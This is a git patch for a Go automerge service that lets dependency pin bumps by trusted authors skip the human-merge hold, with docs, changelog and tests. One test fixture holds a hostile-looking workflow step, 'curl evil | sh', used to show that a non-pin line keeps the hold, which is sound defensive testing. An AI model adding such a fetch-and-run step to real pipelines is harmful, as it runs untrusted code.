From ae2825305adb883948534a030a8c8b79487a9ad6 Mon Sep 17 00:00:00 2001 From: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> Date: Mon, 2 Nov 2026 22:24:23 -0500 Subject: [PATCH 1/4] =?UTF-8?q?=E2=9C=A8=20feat(automerge):=20enforce=20th?= =?UTF-8?q?e=20human-merge=20pin-only=20exception=20in=20the=20sweep=20gat?= =?UTF-8?q?e=20and=20/approve?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> --- .../added-pin-only-human-merge-sweep.md | 1 + src/cmd/hive/main.go | 1 + src/cmd/hive/main_helpers.go | 10 ++ src/cmd/hive/main_sweeps.go | 2 + src/docs/hive-merge.md | 32 +++-- src/docs/operator-reference/README.md | 5 +- .../github/automerge/automerge_human_paths.go | 80 +++++++++++- .../automerge/automerge_human_paths_test.go | 118 +++++++++++++++++- src/pkg/github/automerge/automerge_sweep.go | 10 ++ .../github/automerge/pr_approve_command.go | 10 +- .../automerge/pr_approve_command_test.go | 51 ++++++++ 11 files changed, 305 insertions(+), 15 deletions(-) create mode 100644 changelog.d/added-pin-only-human-merge-sweep.md diff --git a/changelog.d/added-pin-only-human-merge-sweep.md b/changelog.d/added-pin-only-human-merge-sweep.md new file mode 100644 index 0000000000..6f68c92ee2 --- /dev/null +++ b/changelog.d/added-pin-only-human-merge-sweep.md @@ -0,0 +1 @@ +- Enforce the `auto_merge.human_merge_pin_only` exception in the automerge sweep lanes and `/hive approve` (#16266): a PR by a listed trusted author whose complete diff is pin replacements on guarded paths is no longer held for a person. Any other changed file, including an unguarded changelog or doc, keeps the hold (#16326). Repos without an enabled entry are unchanged, and the `hive-merge` relay does not apply the exception yet (#16265). diff --git a/src/cmd/hive/main.go b/src/cmd/hive/main.go index 746304100d..29183a6dea 100644 --- a/src/cmd/hive/main.go +++ b/src/cmd/hive/main.go @@ -2194,6 +2194,7 @@ func (b *boot) bootAgentsWith(deps bootAgentsDeps) { // Human-merge paths (#11038): read through b.cfg on every evaluation so // a reload of auto_merge.human_merge_paths applies without a restart. autoMergeOpts.HumanMergePaths = func(repo string) []string { return humanMergePathsFor(b.cfg, repo) } + autoMergeOpts.HumanMergePinOnly = func(repo string) (config.PinOnlyException, bool) { return humanMergePinOnlyFor(b.cfg, repo) } autoMergeOpts.HumanMergeRule = func() prstage.HumanMergeRule { return humanMergeRuleFor(b.cfg) } autoMergeOpts.RequireCurrentBase = func(repo string) bool { return b.cfg != nil && b.cfg.AutoMerge.RequireCurrentBaseFor(repo) } autoMergeOpts.RequireCurrentBaseStrict = func(repo string) bool { diff --git a/src/cmd/hive/main_helpers.go b/src/cmd/hive/main_helpers.go index d3d8c50181..275a19e848 100644 --- a/src/cmd/hive/main_helpers.go +++ b/src/cmd/hive/main_helpers.go @@ -465,6 +465,16 @@ func humanMergePathsFor(cfg *config.Config, repo string) []string { return cfg.AutoMerge.HumanMergePathsFor(repo) } +// humanMergePinOnlyFor returns the enabled auto_merge.human_merge_pin_only +// exception for repo (owner/repo), read through cfg on every evaluation so a +// reload applies without a restart (#16266). nil cfg means no exception. +func humanMergePinOnlyFor(cfg *config.Config, repo string) (config.PinOnlyException, bool) { + if cfg == nil { + return config.PinOnlyException{}, false + } + return cfg.AutoMerge.HumanMergePinOnlyFor(repo) +} + // humanMergeRuleFor reads auto_merge.human_merge_title_prefixes / // human_merge_labels through cfg on every call so a reload applies // (hivecommons/hive#15442). A nil config means the defaults. diff --git a/src/cmd/hive/main_sweeps.go b/src/cmd/hive/main_sweeps.go index d2ff9c1ac9..cca1c72e98 100644 --- a/src/cmd/hive/main_sweeps.go +++ b/src/cmd/hive/main_sweeps.go @@ -846,6 +846,7 @@ func runAutoMergeSweepIfDue(ctx context.Context, ghClient *github.Client, cfg *c opts.RepoAutoMergeEnabled = func(repo string) bool { return cfg.RepoAutoMergeEnabled(repo) } opts.RepoOnGitHub = func(repo string) bool { return cfg.RepoOnGitHub(repo) } opts.HumanMergePaths = func(repo string) []string { return humanMergePathsFor(cfg, repo) } + opts.HumanMergePinOnly = func(repo string) (config.PinOnlyException, bool) { return humanMergePinOnlyFor(cfg, repo) } opts.HumanMergeRule = func() prstage.HumanMergeRule { return humanMergeRuleFor(cfg) } opts.RequireCurrentBase = func(repo string) bool { return cfg.AutoMerge.RequireCurrentBaseFor(repo) } opts.RequireCurrentBaseStrict = func(repo string) bool { return cfg.AutoMerge.RequireCurrentBaseStrictFor(repo) } @@ -1443,6 +1444,7 @@ func runIssueUnparkSweepIfDue(ctx context.Context, ghClient *github.Client, cfg if cfg != nil { approveOpts.RepoAutoMergeEnabled = cfg.RepoAutoMergeEnabled approveOpts.HumanMergePaths = func(repo string) []string { return humanMergePathsFor(cfg, repo) } + approveOpts.HumanMergePinOnly = func(repo string) (config.PinOnlyException, bool) { return humanMergePinOnlyFor(cfg, repo) } approveOpts.HumanMergeRule = func() prstage.HumanMergeRule { return humanMergeRuleFor(cfg) } approveOpts.TrustedBotAuthors = func() map[string]bool { return cfg.AutoMerge.TrustedBotAuthorSet() } } diff --git a/src/docs/hive-merge.md b/src/docs/hive-merge.md index aab6fb4656..4aa9e9faad 100644 --- a/src/docs/hive-merge.md +++ b/src/docs/hive-merge.md @@ -170,12 +170,22 @@ sweep lanes whatever the intent tier. If the changed-file list for a configured repo cannot be fetched completely, the merge is withheld (fail closed). See [operator-reference.md](operator-reference.md). -**Staged pin-only policy (not yet enforced).** +**Pin-only policy (enforced by the automerge sweep and `/approve`; relay pending).** `auto_merge.human_merge_pin_only` provides the schema and conservative diff -classifier for #16242 / #16262. **It does not currently enable an exception:** -relay, sweep, `/approve` and native-queue gates still require the existing -human-merge path policy. Do not remove `human_merge_paths` or manually clear a +classifier for #16242 / #16262. **The automerge sweep lanes and `/approve` +enforce it (#16266); the `hive-merge` relay and native-queue gates do not yet** +(#16265) and still require the existing human-merge path policy. A sweep lane +does not hold a PR on its human-merge-path matches when the repo has an enabled +entry, the PR author is in `trusted_authors` (case-insensitive login match), +GitHub's reported changed-file count is present and equals the fetched list, +and the classifier accepts the diff. The check reuses the file list the path +gate already fetches, so it costs no extra API call; a repo without an enabled +entry behaves exactly as before. `/hive approve` applies the same check, so its +reply never contradicts the lane. Any other outcome holds the PR as before. +The exception only prevents a new path hold: a PR that already carries `hold` +stays held until a person (or the #16269 release integration) clears it. +Do not remove `human_merge_paths` or manually clear a hold to simulate this feature. The YAML example, per-field contract and seed reload instructions live in the [operator reference](operator-reference/README.md#human-merge-pin-only-rollout); @@ -185,7 +195,11 @@ Repository keys are case-insensitive; duplicate normalized keys are rejected. Absent/disabled entries have no effect. Enabled entries require nonempty paths, kinds and trusted authors; unknown kinds are rejected, including when disabled. The classifier accepts only existing modified files in both the actual guarded -path matches and exception paths, and checks **all** files in the PR. Every +path matches and exception paths, and checks **all** files in the PR: callers +pass the full changed-file list, so a pin bump that also edits any unguarded +file — including a changelog fragment or documentation — is not pin-only and +stays held for a person (#16326). Bump tooling that adds such files must open +them in a separate PR. Every changed line must be a paired pin replacement. Supported forms are unquoted `uses: owner/repo[/path]@<40-hex>` (an existing simple `# vN[.N[.N]]` comment may change), `FROM image@sha256:<64-hex>` / `image: image@sha256:...`, @@ -195,8 +209,8 @@ permission/credential/signing text and non-pin edits fail closed. This classifier proves **syntax only**, not authenticated identity, exact-head binding, file-list completeness, semantic interpretation or review of upstream -references. Those proofs must be added by the integration children (#16265, -#16266); attribution and safe hold release are tracked in #16269. None of the +references. The sweep supplies the author (GitHub's PR author login) and +file-list completeness itself; the relay integration remains #16265; attribution and safe hold release are tracked in #16269. None of the schema or classifier APIs grants permission to merge or clears a hold. Native required checks and producer bindings, freshness, current reviews, substantive objections, unrelated holds and configured soak must remain independent gates. @@ -214,8 +228,8 @@ projectbluefin/utah#1082 and #16242; projectbluefin/utah#1068 is not pre-authori `auto_merge.human_merge_pin_only`; see the [operator reference](operator-reference/README.md#human-merge-pin-only-rollout) for its configuration and deployment prerequisites. The schema/classifier -(#16262), relay admission (#16265), and sweep admission (#16266) are separate -changes: this attribution change alone does **not** enable the exception. +(#16262), relay admission (#16265), and sweep admission (#16266, landed) are +separate changes: this attribution change alone does **not** enable the exception. New path-hold comments retain `` and append `` only when Hive observes that exact head without a pre-existing hold. Legacy comments and diff --git a/src/docs/operator-reference/README.md b/src/docs/operator-reference/README.md index 5db9ac32df..1afd348f07 100644 --- a/src/docs/operator-reference/README.md +++ b/src/docs/operator-reference/README.md @@ -253,7 +253,7 @@ Go callers keep reading `cfg.Agents`, `cfg.Governor.Gateways` and so on through | `project.label_driven_supersede_park_actors` | `[]` (off) | Automation logins (for example a lifecycle bot running as `github-actions[bot]`) whose park labels a later trusted acceptance supersedes on label-driven repos: Hive removes the label, says so in the release comment, and releases the issue ([#13605](https://github.com/hivecommons/hive/issues/13605)). Park labels added by people, by unlisted bots, or by a listed bot after the acceptance still block; `hold` is never superseded. Per-repo override: `project.repo_policies[].label_driven_supersede_park_actors`. | | `auto_merge.allow_unprotected_base` | Deprecated no-op. | Accepted so older configs keep loading. `hive-merge` now merges into any protected or unprotected branch the App can write, subject to the CI-evidence gate and GitHub's own merge rules. | | `auto_merge.no_ci_ok` | Empty by default. | Explicit repo list whose zero-CI merge-request verdict may pass; failing or pending CI evidence is still enforced. | -| `auto_merge.human_merge_pin_only` | Unset (off); **not yet enforced**. | Staged per-repo schema for `enabled`, `paths`, `kinds` (`action-sha`, `image-digest`, `version-pin`) and `trusted_authors`. Enabled entries require all three lists. Provides syntax-classification building blocks only: no merge route grants an exception or clears a hold. See [hive-merge.md](../hive-merge.md) for grammar, restrictions and outstanding integration/deployment requirements (#16242). | +| `auto_merge.human_merge_pin_only` | Unset (off); enforced by the automerge sweep lanes and `/approve` (#16266), **not yet by the `hive-merge` relay** (#16265). | Per-repo schema for `enabled`, `paths`, `kinds` (`action-sha`, `image-digest`, `version-pin`) and `trusted_authors`. Enabled entries require all three lists. The sweep does not place a human-merge-path hold on a PR whose author is in `trusted_authors` and whose complete diff (every changed file, guarded or not) is pin replacements; it never clears an existing hold. See [hive-merge.md](../hive-merge.md) for grammar, restrictions and outstanding integration/deployment requirements (#16242). | | `auto_merge.human_merge_paths` | Unset (off). | Per-repo map of `owner/repo` to glob patterns (same syntax as `intent.guardrail_path_patterns`) for paths a person must merge. Applies to every merge lane (App self-merge, trusted-author, label-queued, merge-request relay) whatever the intent tier; a matching PR is held with one comment, and an incomplete changed-file list fails closed. Details in the sweep key table below. | | `auto_merge.human_merge_title_prefixes` | `["⚠️", "⚠"]` | Title prefixes (after trimming) that mark a PR as a breaking change a person must merge. Every auto-merge lane and the merge train skip the PR; the tracker parks it at 090 *Ready for human merge · human merge*. Set to `[]` to disable. | | `auto_merge.human_merge_labels` | `["needs-owner-merge"]` | Labels (case-insensitive) that mark a PR a person must merge; same effect as the title prefixes. Set to `[]` to disable. | @@ -497,7 +497,8 @@ hosted spoke changes survive restarts without editing `hive.yaml`. ### Human-merge pin-only rollout -**Availability:** not yet enforced by this attribution change alone. Minimum +**Availability:** the automerge sweep lanes and `/approve` enforce the +exception (#16266); the relay does not yet. Minimum supported version: the first deployed v5 release containing the schema/classifier (#16262), relay (#16265), sweep (#16266), and hold-release admission integration (#16269). No released version is established here; do not assume an existing diff --git a/src/pkg/github/automerge/automerge_human_paths.go b/src/pkg/github/automerge/automerge_human_paths.go index 33bdc3c6e2..ea1457f81c 100644 --- a/src/pkg/github/automerge/automerge_human_paths.go +++ b/src/pkg/github/automerge/automerge_human_paths.go @@ -2,8 +2,10 @@ package automerge import ( "context" + "strings" gh "github.com/google/go-github/v72/github" + "github.com/hivecommons/hive/pkg/config" hgithub "github.com/hivecommons/hive/pkg/github" "github.com/hivecommons/hive/pkg/intent" "github.com/hivecommons/hive/pkg/stageengine/prstage" @@ -19,6 +21,9 @@ const ( autoMergeReasonHumanMergePathEvidence = prstage.AutoMergeReasonHumanMergePathEvidence ) +// humanMergePinOnlyConfigKey is the config key named in pin-only log lines. +const humanMergePinOnlyConfigKey = "auto_merge.human_merge_pin_only" + // SetHumanMergePaths installs (or, with nil, removes) the per-repo // auto_merge.human_merge_paths lookup every sweep lane consults. fn is called // on every evaluation with "owner/repo", so a config reload takes effect @@ -45,6 +50,68 @@ func (c *Engine) currentHumanMergePaths(repo string) []string { return fn(repo) } +// SetHumanMergePinOnly installs (or, with nil, removes) the per-repo +// auto_merge.human_merge_pin_only lookup (#16266). Like SetHumanMergePaths, fn +// is called on every evaluation so a config reload applies without restart. +func (c *Engine) SetHumanMergePinOnly(fn func(repo string) (config.PinOnlyException, bool)) { + if c == nil { + return + } + c.humanMergePinOnlyMu.Lock() + defer c.humanMergePinOnlyMu.Unlock() + c.humanMergePinOnly = fn +} + +func (c *Engine) currentHumanMergePinOnly(repo string) (config.PinOnlyException, bool) { + if c == nil { + return config.PinOnlyException{}, false + } + c.humanMergePinOnlyMu.RLock() + fn := c.humanMergePinOnly + c.humanMergePinOnlyMu.RUnlock() + if fn == nil { + return config.PinOnlyException{}, false + } + return fn(repo) +} + +// humanMergePinOnlyExempt reports whether the opt-in pin-only exception +// waives the human-merge-path matches of pr. It needs no API call: files is +// the complete list the caller already fetched for the path check. It returns +// (false, "") when the repo has no enabled exception, and (false, reason) when +// the exception is configured but this PR does not qualify. +// +// The classifier receives the FULL changed-file list, so a pin bump that also +// edits any other file (even an unguarded changelog or doc) is not pin-only +// and stays held (#16326). The sweep lanes and /approve share this helper so +// they never disagree. +func (c *Engine) humanMergePinOnlyExempt(owner, repo string, pr *gh.PullRequest, files []intent.ChangedFile, matches []string) (bool, string) { + if len(matches) == 0 || pr == nil { + return false, "" + } + policy, ok := c.currentHumanMergePinOnly(owner + "/" + repo) + if !ok { + return false, "" + } + author := strings.TrimSpace(hgithub.SafeGetLogin(pr.GetUser())) + trusted := false + for _, login := range policy.TrustedAuthors { + if author != "" && strings.EqualFold(strings.TrimSpace(login), author) { + trusted = true + break + } + } + if !trusted { + return false, "PR author is not in trusted_authors" + } + // ListChangedFiles already refuses a list shorter than GitHub's count; + // the exception additionally requires that count to be present and exact. + if reported := pr.GetChangedFiles(); reported <= 0 || reported != len(files) { + return false, "complete changed-file list not proven" + } + return intent.ClassifyPinOnly(files, matches, policy.Spec()) +} + // humanMergePathGate refuses a PR that touches a path a person must merge. // It is independent of intent tier and of IntentGate/intent.enforce: the App // self-merge contract (EvaluateForAppSelfMerge) authorizes Tier 2/3 without a @@ -55,7 +122,10 @@ func (c *Engine) currentHumanMergePaths(repo string) []string { // no API call. When the repo is configured and the complete changed-file list // cannot be fetched it fails closed with a non-nil error. On a match it adds // `hold`, posts the single marker-stamped comment (not reposted on later -// ticks) and returns autoMergeReasonHumanMergePath. +// ticks) and returns autoMergeReasonHumanMergePath, unless the repo's enabled +// auto_merge.human_merge_pin_only exception qualifies the PR (trusted author, +// complete list, every changed line a pin replacement), which needs no extra +// API call and returns ("", nil). func (c *Engine) humanMergePathGate(ctx context.Context, displayRepo, owner, repo string, pr *gh.PullRequest) (string, error) { patterns := c.currentHumanMergePaths(owner + "/" + repo) if len(patterns) == 0 { @@ -70,6 +140,14 @@ func (c *Engine) humanMergePathGate(ctx context.Context, displayRepo, owner, rep if len(matches) == 0 { return "", nil } + exempt, why := c.humanMergePinOnlyExempt(owner, repo, pr, files, matches) + if exempt { + c.info("automerge sweep admitted pin-only change on human-merge paths", "repo", displayRepo, "pr", number, "paths", matches, "config", humanMergePinOnlyConfigKey, "reason", why) + return "", nil + } + if why != "" { + c.info("automerge sweep pin-only exception not applied", "repo", displayRepo, "pr", number, "config", humanMergePinOnlyConfigKey, "reason", why) + } c.info("automerge sweep held PR touching human-merge paths", "repo", displayRepo, "pr", number, "paths", matches, "config", hgithub.HumanMergePathsConfigKey) if err := hgithub.HoldForHumanMergePaths(ctx, c.gh, owner, repo, number, matches, pr.GetHead().GetSHA()); err != nil { return autoMergeReasonHumanMergePath, err diff --git a/src/pkg/github/automerge/automerge_human_paths_test.go b/src/pkg/github/automerge/automerge_human_paths_test.go index 822019bcd1..ec2685be7a 100644 --- a/src/pkg/github/automerge/automerge_human_paths_test.go +++ b/src/pkg/github/automerge/automerge_human_paths_test.go @@ -15,6 +15,8 @@ import ( "sync" "testing" + gh "github.com/google/go-github/v72/github" + "github.com/hivecommons/hive/pkg/config" hgithub "github.com/hivecommons/hive/pkg/github" ) @@ -26,6 +28,7 @@ const testHumanMergePattern = ".github/workflows/**" type humanPathFront struct { mu sync.Mutex files []string + fileEntries []map[string]any // when set, served verbatim instead of files filesStatus int filesHits int labels []string @@ -49,7 +52,7 @@ func newHumanPathFront(t *testing.T, backend string, f *humanPathFront) *httptes w.WriteHeader(f.filesStatus) return } - var files []map[string]any + files := f.fileEntries for _, name := range f.files { files = append(files, map[string]any{"filename": name, "status": "modified", "additions": 1}) } @@ -329,3 +332,116 @@ func TestSetHumanMergePathsNilEngine(t *testing.T) { t.Fatalf("nil engine paths = %v, want nil", got) } } + +// Pin-only exception (#16266): fixtures for calling humanMergePathGate on a PR +// whose files carry patches. +var ( + testPinOldLine = " - uses: actions/checkout@" + strings.Repeat("a", 40) + " # v4" + testPinNewLine = " - uses: actions/checkout@" + strings.Repeat("b", 40) + " # v5" +) + +func testPinFile(name string) map[string]any { + return map[string]any{"filename": name, "status": "modified", "additions": 1, "deletions": 1, + "patch": "@@ -3 +3 @@\n-" + testPinOldLine + "\n+" + testPinNewLine} +} + +func pinOnlyFor(repo string, ex config.PinOnlyException) func(string) (config.PinOnlyException, bool) { + return func(r string) (config.PinOnlyException, bool) { + if strings.EqualFold(r, repo) { + return ex, true + } + return config.PinOnlyException{}, false + } +} + +func testPinOnlyException() config.PinOnlyException { + return config.PinOnlyException{Enabled: true, Paths: []string{".github/workflows/*.yml"}, Kinds: []string{"action-sha"}, TrustedAuthors: []string{"Renovate-Bot"}} +} + +func TestHumanMergePathGatePinOnlyException(t *testing.T) { + const workflow = ".github/workflows/ci.yml" + for _, tc := range []struct { + name string + paths func(string) []string + pinOnly func(string) (config.PinOnlyException, bool) + author string + changed int // 0 means len(entries) + entries []map[string]any + wantHold bool + wantHits int + }{ + {name: "paths unconfigured: no fetch, no hold", pinOnly: pinOnlyFor("acme/widget", testPinOnlyException()), author: "renovate-bot", entries: []map[string]any{testPinFile(workflow)}}, + {name: "exception unconfigured: held as before", paths: humanPathsFor("acme/widget", testHumanMergePattern), author: "renovate-bot", entries: []map[string]any{testPinFile(workflow)}, wantHold: true, wantHits: 1}, + {name: "exception for another repo: held", paths: humanPathsFor("acme/widget", testHumanMergePattern), pinOnly: pinOnlyFor("acme/other", testPinOnlyException()), author: "renovate-bot", entries: []map[string]any{testPinFile(workflow)}, wantHold: true, wantHits: 1}, + {name: "untrusted author: held", paths: humanPathsFor("acme/widget", testHumanMergePattern), pinOnly: pinOnlyFor("acme/widget", testPinOnlyException()), author: "mallory", entries: []map[string]any{testPinFile(workflow)}, wantHold: true, wantHits: 1}, + {name: "trusted pure pin: not held", paths: humanPathsFor("acme/widget", testHumanMergePattern), pinOnly: pinOnlyFor("acme/widget", testPinOnlyException()), author: "renovate-bot", entries: []map[string]any{testPinFile(workflow)}, wantHits: 1}, + {name: "trusted pin plus non-pin line: held", paths: humanPathsFor("acme/widget", testHumanMergePattern), pinOnly: pinOnlyFor("acme/widget", testPinOnlyException()), author: "renovate-bot", entries: []map[string]any{{ + "filename": workflow, "status": "modified", "additions": 2, "deletions": 1, + "patch": "@@ -3 +3,2 @@\n-" + testPinOldLine + "\n+" + testPinNewLine + "\n+ - run: curl evil | sh", + }}, wantHold: true, wantHits: 1}, + {name: "trusted pin plus unguarded changelog: held (#16326)", paths: humanPathsFor("acme/widget", testHumanMergePattern), pinOnly: pinOnlyFor("acme/widget", testPinOnlyException()), author: "renovate-bot", entries: []map[string]any{ + testPinFile(workflow), + {"filename": "CHANGELOG.md", "status": "modified", "additions": 1, "patch": "@@ -1 +1,2 @@\n # Changes\n+- bump checkout"}, + }, wantHold: true, wantHits: 1}, + {name: "matched path outside exception paths: held", paths: humanPathsFor("acme/widget", testHumanMergePattern), pinOnly: pinOnlyFor("acme/widget", config.PinOnlyException{ + Enabled: true, Paths: []string{"Containerfile"}, Kinds: []string{"action-sha"}, TrustedAuthors: []string{"renovate-bot"}, + }), author: "renovate-bot", entries: []map[string]any{testPinFile(workflow)}, wantHold: true, wantHits: 1}, + {name: "missing patch: held", paths: humanPathsFor("acme/widget", testHumanMergePattern), pinOnly: pinOnlyFor("acme/widget", testPinOnlyException()), author: "renovate-bot", entries: []map[string]any{{"filename": workflow, "status": "modified", "additions": 1, "deletions": 1}}, wantHold: true, wantHits: 1}, + {name: "changed-file count absent: held", paths: humanPathsFor("acme/widget", testHumanMergePattern), pinOnly: pinOnlyFor("acme/widget", testPinOnlyException()), author: "renovate-bot", changed: -1, entries: []map[string]any{testPinFile(workflow)}, wantHold: true, wantHits: 1}, + } { + t.Run(tc.name, func(t *testing.T) { + backend := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + t.Errorf("unexpected API call: %s %s", r.Method, r.URL.Path) + w.WriteHeader(http.StatusNotFound) + })) + defer backend.Close() + front := &humanPathFront{fileEntries: tc.entries} + srv := newHumanPathFront(t, backend.URL, front) + defer srv.Close() + + c := newAutoMergeSweepClient(srv.URL) + c.SetHumanMergePaths(tc.paths) + c.SetHumanMergePinOnly(tc.pinOnly) + changed := tc.changed + if changed == 0 { + changed = len(tc.entries) + } else if changed < 0 { + changed = 0 + } + pr := &gh.PullRequest{Number: gh.Ptr(7), ChangedFiles: gh.Ptr(changed), User: &gh.User{Login: gh.Ptr(tc.author)}, Head: &gh.PullRequestBranch{SHA: gh.Ptr("sha7")}} + reason, err := c.humanMergePathGate(context.Background(), "acme/widget", "acme", "widget", pr) + if err != nil { + t.Fatalf("err = %v, want nil", err) + } + if front.filesHits != tc.wantHits { + t.Fatalf("files hits = %d, want %d", front.filesHits, tc.wantHits) + } + if !tc.wantHold { + if reason != "" || len(front.labels) != 0 || len(front.comments) != 0 { + t.Fatalf("reason = %q, labels = %v, comments = %d; want no hold", reason, front.labels, len(front.comments)) + } + return + } + if reason != autoMergeReasonHumanMergePath { + t.Fatalf("reason = %q, want %q", reason, autoMergeReasonHumanMergePath) + } + assertHeldOnce(t, front, ".github/workflows/") + }) + } +} + +func TestSetHumanMergePinOnlyNilEngineAndRemoval(t *testing.T) { + var nilEngine *Engine + nilEngine.SetHumanMergePinOnly(pinOnlyFor("acme/widget", testPinOnlyException())) + if _, ok := nilEngine.currentHumanMergePinOnly("acme/widget"); ok { + t.Fatal("nil engine reported a pin-only exception") + } + c := New(newAutoMergeSweepClient("http://127.0.0.1:0").transport, Options{HumanMergePinOnly: pinOnlyFor("acme/widget", testPinOnlyException())}) + if _, ok := c.currentHumanMergePinOnly("ACME/Widget"); !ok { + t.Fatal("Options.HumanMergePinOnly not installed") + } + c.SetHumanMergePinOnly(nil) + if _, ok := c.currentHumanMergePinOnly("acme/widget"); ok { + t.Fatal("SetHumanMergePinOnly(nil) did not remove the lookup") + } +} diff --git a/src/pkg/github/automerge/automerge_sweep.go b/src/pkg/github/automerge/automerge_sweep.go index 36acba131c..33aafbfe90 100644 --- a/src/pkg/github/automerge/automerge_sweep.go +++ b/src/pkg/github/automerge/automerge_sweep.go @@ -10,6 +10,7 @@ import ( "time" gh "github.com/google/go-github/v72/github" + "github.com/hivecommons/hive/pkg/config" "github.com/hivecommons/hive/pkg/effects" hgithub "github.com/hivecommons/hive/pkg/github" "github.com/hivecommons/hive/pkg/review" @@ -110,6 +111,11 @@ type Options struct { // for an owner/repo. Every sweep lane refuses a PR touching one (#11038). // nil means no repo has any. HumanMergePaths func(repo string) []string + // HumanMergePinOnly returns the live, enabled + // auto_merge.human_merge_pin_only exception for an owner/repo (#16266). + // A qualifying pin-only PR by a trusted author is not held by + // HumanMergePaths. nil, or false, means no exception. + HumanMergePinOnly func(repo string) (config.PinOnlyException, bool) // HumanMergeRule returns the live auto_merge.human_merge_title_prefixes / // human_merge_labels rule (hivecommons/hive#15442). Every lane and the // merge train skip a PR RequiresHumanMerge. nil means the defaults. @@ -318,6 +324,9 @@ type Engine struct { humanMergePathsMu sync.RWMutex humanMergePaths func(repo string) []string + humanMergePinOnlyMu sync.RWMutex + humanMergePinOnly func(repo string) (config.PinOnlyException, bool) + humanMergeRuleMu sync.RWMutex humanMergeRule func() prstage.HumanMergeRule @@ -435,6 +444,7 @@ func New(transport Transport, opts Options) *Engine { reviewGate: opts.ReviewGate, humanChangeRequests: opts.HumanChangeRequests, humanMergePaths: opts.HumanMergePaths, + humanMergePinOnly: opts.HumanMergePinOnly, humanMergeRule: opts.HumanMergeRule, requireCurrentBase: opts.RequireCurrentBase, requireCurrentBaseStrict: opts.RequireCurrentBaseStrict, diff --git a/src/pkg/github/automerge/pr_approve_command.go b/src/pkg/github/automerge/pr_approve_command.go index bbdeb585c8..a54bae883a 100644 --- a/src/pkg/github/automerge/pr_approve_command.go +++ b/src/pkg/github/automerge/pr_approve_command.go @@ -87,10 +87,16 @@ func (c *Engine) PRApproveReply(ctx context.Context, displayRepo string, number if contributor { diffReason = contributorLaneDiffReason(files) } - if len(intent.HumanMergePathMatches(files, patterns)) == 0 && diffReason == contributorLaneReasonWorkflowPath && c.currentContributorLanePolicy().OwnerApprovalReleasesWorkflowFence { + // The same pin-only exception the sweep lanes apply (#16266), so the + // reply never contradicts what the lane will do on its next pass. + matches := intent.HumanMergePathMatches(files, patterns) + if exempt, _ := c.humanMergePinOnlyExempt(owner, repo, pr, files, matches); exempt { + matches = nil + } + if len(matches) == 0 && diffReason == contributorLaneReasonWorkflowPath && c.currentContributorLanePolicy().OwnerApprovalReleasesWorkflowFence { return "`/hive approve` acknowledged, but this PR edits CI workflow / action files, which the contributor lane merges only on a hive owner's explicit approval: a trusted merger submits a GitHub **Approve** review for the current head (`" + stagelabels.ShortSHA(head) + "`) or approves it from the Hive dashboard, and the lane merges once CI and the other gates are clear. Approval on an earlier head does not carry over.", nil } - if len(intent.HumanMergePathMatches(files, patterns)) > 0 || diffReason != "" { + if len(matches) > 0 || diffReason != "" { return "`/hive approve` acknowledged, but this PR changes files that its lane requires a person to merge manually. The command cannot override that rule; a maintainer must review and merge it.", nil } } diff --git a/src/pkg/github/automerge/pr_approve_command_test.go b/src/pkg/github/automerge/pr_approve_command_test.go index a22c8db44e..b28c96ffe1 100644 --- a/src/pkg/github/automerge/pr_approve_command_test.go +++ b/src/pkg/github/automerge/pr_approve_command_test.go @@ -9,6 +9,7 @@ import ( "testing" gh "github.com/google/go-github/v72/github" + "github.com/hivecommons/hive/pkg/config" hgithub "github.com/hivecommons/hive/pkg/github" "github.com/hivecommons/hive/pkg/stagelabels" ) @@ -96,6 +97,56 @@ func TestPRApproveReply(t *testing.T) { } } +// /approve applies the same pin-only exception as the sweep gate (#16266): +// a qualifying pin bump by a trusted author is not reported as manual-only, +// and anything the sweep would hold still is. +func TestPRApproveReplyPinOnlyMatchesSweep(t *testing.T) { + pin := "@@ -1 +1 @@\n-" + testPinOldLine + "\n+" + testPinNewLine + for _, tc := range []struct { + name, patch string + trusted []string + want string + }{ + {name: "trusted pure pin", patch: pin, trusted: []string{testHiveAppBotLogin}, want: "does not consume it on a pull request"}, + {name: "untrusted author", patch: pin, trusted: []string{"someone-else"}, want: "requires a person to merge manually"}, + {name: "missing patch", trusted: []string{testHiveAppBotLogin}, want: "requires a person to merge manually"}, + } { + t.Run(tc.name, func(t *testing.T) { + api := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodGet { + t.Errorf("feedback must not mutate: %s %s", r.Method, r.URL.Path) + w.WriteHeader(http.StatusForbidden) + return + } + switch r.URL.Path { + case "/repos/acme/widget/pulls/7": + json.NewEncoder(w).Encode(&gh.PullRequest{Number: gh.Ptr(7), State: gh.Ptr("open"), ChangedFiles: gh.Ptr(1), User: &gh.User{Login: gh.Ptr(testHiveAppBotLogin)}, Head: &gh.PullRequestBranch{SHA: gh.Ptr("sha7")}}) + case "/repos/acme/widget/pulls/7/files": + json.NewEncoder(w).Encode([]*gh.CommitFile{{Filename: gh.Ptr("sensitive/build.yml"), Status: gh.Ptr("modified"), Additions: gh.Ptr(1), Deletions: gh.Ptr(1), Patch: gh.Ptr(tc.patch)}}) + default: + t.Errorf("unexpected read: %s", r.URL.Path) + w.WriteHeader(http.StatusNotFound) + } + })) + defer api.Close() + client := hgithub.NewClient("token", "acme", []string{"widget"}, nil, api.URL) + client.SetAppBotLogin(testHiveAppBotLogin) + e := New(client, Options{ + MergerAuthorizer: func(login string) bool { return login == "owner" }, + HumanMergePaths: func(string) []string { return []string{"sensitive/**"} }, + RepoAutoMergeEnabled: func(string) bool { return true }, + HumanMergePinOnly: pinOnlyFor("acme/widget", config.PinOnlyException{ + Enabled: true, Paths: []string{"sensitive/*.yml"}, Kinds: []string{"action-sha"}, TrustedAuthors: tc.trusted, + }), + }) + reply, err := e.PRApproveReply(context.Background(), "acme/widget", 7, &gh.IssueComment{Body: gh.Ptr("/hive approve"), User: &gh.User{Login: gh.Ptr("owner"), Type: gh.Ptr("User")}}) + if err != nil || !strings.Contains(reply, tc.want) { + t.Fatalf("reply=%q err=%v, want %q", reply, err, tc.want) + } + }) + } +} + func TestDecisionCommentNamesLaneAction(t *testing.T) { for _, tc := range []struct { name, lane, reason, want string From 2b0128ffdf61d866d808a10a183ad47c2b2c9f42 Mon Sep 17 00:00:00 2001 From: scanner 